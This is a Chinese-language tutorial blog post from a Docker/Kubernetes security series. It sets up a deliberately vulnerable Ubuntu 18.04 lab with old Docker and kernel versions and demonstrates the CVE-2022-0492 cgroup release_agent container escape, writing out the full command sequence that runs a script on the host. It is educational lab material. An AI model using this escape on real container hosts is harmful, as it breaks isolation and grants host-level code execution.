iT邦幫忙

2023 iThome 鐵人賽

0
影片教學

怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了系列 第 48

Day 34 - 作業 10-2 解答 - 建立 CVE-2022-0492 的漏洞環境及測試

  • 分享至 

  • xImage
  •  

Yes

  • 作業 10-2 題目 : 既然翻車了就要撥亂反正,請建立以下環境並試著參考New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Containers Escape?實踐利用 CVE-2022-0492 弱點後接續 cgroups 的逃逸手法,並試著比較跟作業10-1環境的差異。建立環境參考如下 :

    1. Linux : Ubuntu 18.04.6 LTS (這邊有做調整) - kernel 版本 v4.15.10 (影響 CVE-2022-0492)
    2. Docker : 18.03.1-ce (影響 cgroups 逃逸手法)
  • 解答 : 因為該弱點環境只能安裝在 Ubuntu 18.04.5 LTS 底下,所以這邊就快速建立一台測試環境。步驟參考 Day01 - 開賽 (含作業1)

    # 先安裝一台 Ubuntu 18.04 的作業系統
    
    # 預設 kernel 版本為 4.15.0-213-generic
    # 這版不確定有沒有 patch 過,如果不行的話要在更換 kernel 版本
    uname -r ;
    
    sudo apt update ;
    
    # 參考 https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-18-04 安裝 docker
    
    sudo apt install apt-transport-https ca-certificates curl software-properties-common ;
    
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - ;
    
    sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable" ;
    
    # 失敗的話要下 apt-key adv --keyserver keyserver.ubuntu.com --recv-keys [序號]
    sudo apt update ;
    
    # 看一下目前可以安裝的版本
    apt-cache policy docker-ce ;
    
    # 安裝 docker-ce=18.03.1~ce~3-0~ubuntu 
    sudo apt install docker-ce=18.03.1~ce~3-0~ubuntu -y ;
    
    sudo usermod -aG docker $(whoami) ;
    
    # 先離開再登入讓設定生效
    exit ;
    
    docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" aeifkz/my-ubuntu:v1.0 bash ;
    
    # 這個指令的結果很重要,注意一下 rdma 的部分
    cat /proc/self/cgroup ;
    
    unshare -UrmC --propagation=unchanged bash ;
    
    mkdir /tmp/cgroup ;
    mount -t cgroup -o rdma cgroup /tmp/cgroup ;
    
    # 這次有出現 release_agent 的檔案
    ls -al /tmp/cgroup ;
    
    # 這次沒出現 Permission denied
    # 改成出現 write error: Operation not permitted
    echo "echo 123" > /tmp/cgroup/release_agent
    
  • 所以可以觀察出來目前這個版本的 docker 已經克服了掛載 root cgroup 的問題,成功的產生 release_agent 的檔案出來。但現在出現的錯誤訊息已經不是 Permission denied 而是 Operation not permitted,代表著已經通過 DAC 的權限驗證,但進入 kernel 的下一步操作時被阻擋,所以這個部分才是 CVE-2022-0492 弱點真正有問題的地方,因為該漏洞問題出在寫入 release_agent 時沒有去驗證使用者的能力,所以接下來要切換 kernel 的版本。

    # 安裝 4.15.10 版本
    wget https://kernel.ubuntu.com/mainline/v4.15/linux-headers-4.15.0-041500_4.15.0-041500.201802011154_all.deb ;
    
    wget https://kernel.ubuntu.com/mainline/v4.15/linux-headers-4.15.0-041500-generic_4.15.0-041500.201802011154_amd64.deb ;
    
    wget https://kernel.ubuntu.com/mainline/v4.15/linux-image-4.15.0-041500-generic_4.15.0-041500.201802011154_amd64.deb ;
    
    # 調整 GRUB_TIMEOUT=20
    sudo vim /etc/default/grub ;
    
    sudo dpkg -i *.deb ;
    
    sudo update-grub ;
    sudo shutdown -r now ;
    
    # 重開機會卡住,點進去按 ESC 選擇對應的版本
    
    # 這邊應該要顯示 4.15.0-041500-generic 版本
    uname -r ;
    
    # 正式做一次 CVE-2022-0492 + cgroup 容器逃逸
    docker run --rm -it --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" aeifkz/my-ubuntu:v1.0 bash ;
    
    unshare -UrmC --propagation=unchanged bash ;
    
    mkdir /tmp/cgroup ;
    
    mount -t cgroup -o rdma cgroup /tmp/cgroup ;
    
    mkdir /tmp/cgroup/cgroup_2 ;
    
    echo 1 > /tmp/cgroup/cgroup_2/notify_on_release ;
    
    host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` ;
    echo "$host_path/cmd" > /tmp/cgroup/release_agent ;
    
    echo '#!/bin/sh' > /cmd ;
    echo "touch /tmp/pwned" >> /cmd ;
    chmod a+x /cmd ;
    
    # 透過讓 process 結束觸發 release_agent 的動作
    sh -c "echo $$ > /tmp/cgroup/cgroup_2/cgroup.procs" ;
    
    # 如果沒成功就重新命名一個資料夾再做一次,ex: cgroup_3
    exit ;
    
  • 這也算是完備了當年對 CVE-2022-0492 這個漏洞的誤解,我先稍微說明一下我當年誤解的部分,感覺有點錯得離譜。參考資料 : New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Containers Escape?

    1. 這漏洞不是因為 unshare 引起的,unshare 的呼叫只能算是利用它作為攻擊路徑的起手式,但並非形成漏洞的主因。/images/emoticon/emoticon04.gif
    2. unshare -UrmC --propagation=unchanged 這些參數會建立出一個擁有全部能力的 namespace,但之前測試過這些能力是假的,另外即便沒有 root 權限也可以進行 unshare 的呼叫,並沒有限制一定要 root 身分。/images/emoticon/emoticon06.gif
    3. 在沒有 SYS_ADMIN 權限的情況下 cgroup 要有 release_agent 檔案可以寫入的前提條件是一開始掛載的裝置要有 root cgroup 權限,否則後續無法利用,因此這個漏洞會綁定 docker 版本。/images/emoticon/emoticon21.gif
    4. 這漏洞的主因是在寫入 release_agent 時沒有去驗證使用者的能力,所以即便沒有 SYS_ADMIN 權限也可以進行寫入。/images/emoticon/emoticon16.gif
  • 最後這台虛擬機環境會於作業 11-1 當作環境來練習,所以麻煩先不要砍掉。


上一篇
Day 34 - 作業 10-1 解答 - 尋找具有 CVE-2022-0492 的漏洞版本及測試
下一篇
Day 35 - (防禦) 總結 Container 執行安全參數
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言